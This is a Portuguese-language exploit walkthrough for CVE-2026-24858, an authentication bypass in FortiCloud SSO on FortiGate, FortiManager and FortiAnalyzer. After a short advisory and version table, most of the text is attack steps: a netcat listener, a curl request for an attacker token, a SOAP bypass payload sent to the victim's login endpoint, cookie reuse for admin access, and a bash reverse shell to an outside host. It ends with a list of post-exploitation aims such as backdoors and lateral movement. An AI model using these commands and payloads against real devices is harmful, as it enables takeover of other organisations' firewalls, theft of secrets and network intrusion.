
CVE-2026-24858 FortiCloud Single Sign On (SSO) — um recurso habilitado por padrão de fábrica assim que você registra qualquer FortiGate/FortiManager/FortiAnalyzer — contém uma falha crítica de bypass de autenticação.
O FortiCloud Single-Sign-On (SSO), um recurso habilitado por padrão de fábrica quando você registra qualquer FortiGate/FortiManager/FortiAnalyzer, contém uma falha crítica de bypass de autenticação.
Um atacante que possua qualquer conta FortiCloud (gratuita ou paga) pode reutilizar seu token SSO para entrar nos equipamentos de outros clientes (builds ≤ listadas abaixo) sem conhecer as senhas deles.
Após a exploração, obtém acesso total à GUI de administração e shell root, permitindo interceptação de tráfego, adulteração de VPN ou movimento lateral para redes internas.
Atualize imediatamente ou desative o FortiCloud SSO até que a correção seja aplicada.
| Produto | Firmware Vulnerável | Corrigido |
|---|
| FortiOS | 7.0.0–7.0.18, 7.2.0–7.2.12, 7.4.0–7.4.10, 7.6.0–7.6.5 | ≥ 7.0.19, ≥ 7.2.13, ≥ 7.4.11, ≥ 7.6.6 |
| FortiManager | 7.0.0–7.0.10, 7.2.0–7.2.5, 7.4.0–7.4.9 | mesma major.minor+1 |
| FortiAnalyzer | mesmas faixas | mesma |
Máquina do atacante
Listener para reverse shell:
nc -lvnp 4444
Obter token do atacante (TTL de 15 min)
curl -k -X POST https://customerapiauth.fortinet.com/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"AttackerPass123"}'
Resposta (trecho):
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc...","expires_in":900}
Copie o valor de access_token.
Construir payload de bypass
Salve como bypass.xml:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<authRequest>
<serialNumber>FGT80ETK21000000</serialNumber>
<token>eyJ0eXAiOiJKV1QiLCJhbGc...</token>
<action>login</action>
</authRequest>
</soapenv:Body>
</soapenv:Envelope>
Enviar para a vítima (qualquer firmware ≤ tabela acima)
curl -k -X POST https://<VICTIM-IP>:443/remote/logincheck \
-H "Content-Type: application/xml" \
--data @bypass.xml \
-c cookies.txt
HTTP 200 + Set-Cookie: APSCOOKIE=... → sucesso.
Navegar na GUI administrativa
Abra o navegador ou use curl com o cookie salvo:
curl -k -b cookies.txt https://<VICTIM-IP>/ng/
→ O Dashboard aparece sem pedir senha.
Shell root (widget CLI)
Dentro da GUI: Dashboard → CLI Console
execute bash
bash-4.4# bash -i >& /dev/tcp/192.168.8.129/4444 0>&1
O listener recebe:
root@FGT80ETK21000000:/#
| Cenário | Resultado |
|---|---|
| Admin somente leitura | Exportar configuração completa (segredos de VPN, políticas locais, hashes de usuários). |
| Admin com escrita | Alterar regras de firewall, criar usuários locais, desabilitar logs, implantar scripts persistentes. |
| Shell root | Extrair config.dat, extrair chaves HA, pivotar para sub-redes internas, implantar serviço backdoor. |
| Movimento lateral | O dispositivo se torna ponto de apoio; VLANs e túneis SSL-VPN confiáveis → violação mais profunda da rede. |
| Exfiltração de dados | Todo o tráfego passa pelo FortiGate → proxy transparente + injeção de certificado. |